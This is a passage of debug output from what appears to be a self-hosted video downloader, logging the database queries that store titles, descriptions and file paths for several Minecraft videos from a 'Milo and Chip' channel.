secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1391, "filename" => "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", "id" => "x3dral7OjIw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x3dral7OjIw", "playlist_index" => 6, "timestamp" => 1779318064, "title" => "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "upload_date" => "20260520"} 19:40:10.188 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=909.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:10.189 [debug] QUERY OK source="sources" db=0.3ms idle=910.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:10.191 [debug] QUERY OK source="media_items" db=1.8ms idle=911.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 23:01:04Z], 30] 19:40:10.194 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=913.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "4160ff42-982e-4f53-8cc7-baf89cf500ee", "x3dral7OjIw", false, "https://www.youtube.com/watch?v=x3dral7OjIw", 30, [], 1391, false, 6, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, false, 98, ~U[2026-05-20 23:01:04Z], ~U[2026-06-02 23:40:10Z], ~U[2026-06-02 23:40:10Z], "Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "x3dral7OjIw", "https://www.youtube.com/watch?v=x3dral7OjIw", 30, 1391, false, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, ~U[2026-05-20 23:01:04Z]] 19:40:10.194 [debug] QUERY OK source="sources" db=0.4ms idle=35.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:10.195 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:10.196 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138228] 19:40:10.196 [debug] Current batch of media processed. Will check again in 1000ms 19:40:11.197 [debug] Current batch of media processed. Will check again in 1000ms 19:40:12.198 [debug] Current batch of media processed. Will check again in 1000ms 19:40:13.200 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1840, "filename" => "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", "id" => "SQAKG_LKgQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SQAKG_LKgQU", "playlist_index" => 7, "timestamp" => 1779145232, "title" => "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "upload_date" => "20260518"} 19:40:13.201 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1922.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:13.202 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1923.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:13.205 [debug] QUERY OK source="media_items" db=2.0ms queue=0.2ms idle=1924.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 23:00:32Z], 30] 19:40:13.206 [debug] QUERY OK source="media_items" db=0.6ms idle=1044.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "c9f27a29-7719-4adb-9d70-bc4f0e029fe7", "SQAKG_LKgQU", false, "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, [], 1840, false, 7, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, false, 98, ~U[2026-05-18 23:00:32Z], ~U[2026-06-02 23:40:13Z], ~U[2026-06-02 23:40:13Z], "TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "SQAKG_LKgQU", "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, 1840, false, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, ~U[2026-05-18 23:00:32Z]] 19:40:13.206 [debug] QUERY OK source="sources" db=0.1ms idle=43.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:13.206 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:13.207 [debug] QUERY OK source="media_items" db=0.1ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137801] 19:40:13.207 [debug] Current batch of media processed. Will check again in 1000ms 19:40:14.208 [debug] Current batch of media processed. Will check again in 1000ms 19:40:15.209 [debug] Current batch of media processed. Will check again in 1000ms 19:40:16.210 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2198, "filename" => "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", "id" => "w4DxHZFJ7No", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=w4DxHZFJ7No", "playlist_index" => 8, "timestamp" => 1778968851, "title" => "Minecraft, But The Whole World is Underwater", "upload_date" => "20260516"} 19:40:16.211 [debug] QUERY OK source="sources" db=0.4ms idle=1932.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:16.211 [debug] QUERY OK source="sources" db=0.1ms idle=1933.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:16.213 [debug] QUERY OK source="media_items" db=1.1ms idle=1933.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 22:00:51Z], 30] 19:40:16.216 [debug] QUERY OK source="media_items" db=2.8ms idle=1047.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "0ec1ce77-8611-4639-baa5-35bee540f415", "w4DxHZFJ7No", false, "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, [], 2198, false, 8, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, false, 98, ~U[2026-05-16 22:00:51Z], ~U[2026-06-02 23:40:16Z], ~U[2026-06-02 23:40:16Z], "SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "w4DxHZFJ7No", "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, 2198, false, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, ~U[2026-05-16 22:00:51Z]] 19:40:16.216 [debug] QUERY OK source="sources" db=0.3ms idle=49.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:16.217 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:16.217 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137375] 19:40:16.217 [debug] Current batch of media processed. Will check again in 1000ms 19:40:17.218 [debug] Current batch of media processed. Will check again in 1000ms 19:40:18.219 [debug] Current batch of media processed. Will check again in 1000ms 19:40:19.220 [debug] Current batch of media processed. Will check again in 1000ms 19:40:20.222 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1856, "filename" => "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", "id" => "Kcn_4kdmM_0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Kcn_4kdmM_0", "playlist_index" => 9, "timestamp" => 1778886020, "title" => "Minecraft, But If I Take Damage I Switch Lives", "upload_date" => "20260515"} 19:40:20.223 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=944.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:20.225 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=945.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:20.227 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=946.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 23:00:20Z], 30] 19:40:20.228 [debug] QUERY OK source="media_items" db=0.7ms idle=949.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "1343f8de-3cee-48b5-ab47-facc29dd20f5", "Kcn_4kdmM_0", false, "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, [], 1856, false, 9, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, false, 98, ~U[2026-05-15 23:00:20Z], ~U[2026-06-02 23:40:20Z], ~U[2026-06-02 23:40:20Z], "I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "Kcn_4kdmM_0", "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, 1856, false, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, 